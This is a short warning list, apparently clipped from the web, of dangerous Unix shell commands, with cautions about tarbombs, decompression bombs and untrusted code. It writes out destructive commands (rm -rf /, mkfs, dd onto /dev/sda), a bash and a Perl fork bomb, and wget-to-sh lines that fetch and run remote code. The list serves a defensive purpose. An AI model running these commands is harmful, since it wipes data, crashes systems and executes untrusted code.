Clipmark

Delete all files, delete current directory, and delete visible files in current directory. It's quite obvious why these commands can be dangerous to execute.

rm -rf /
rm -rf .
rm -rf *

Reformat: Data on device mentioned after the mkfs command will be destroyed and replaced with a blank filesystem.

mkfs
mkfs.ext3
mkfs.anything

Block device manipulation: Causes raw data to be written to a block device. Often times this will clobber the filesystem and cause total loss of data:

any_command > /dev/sda
dd if=something of=/dev/sda

:(){:|:&};:

In Perl

fork while fork

Tarbomb:

You should make the habit of decompressing tars inside a cleanly made directory

Decompression bomb:

You should not touch data from an untrusted source

Shellscript:

Do not execute code from people you don't trust

wget http://some_place/some_file
sh ./some_file

wget http://some_place/some_file -O- | sh

Compiling code:

Do not compile OR execute the compiled code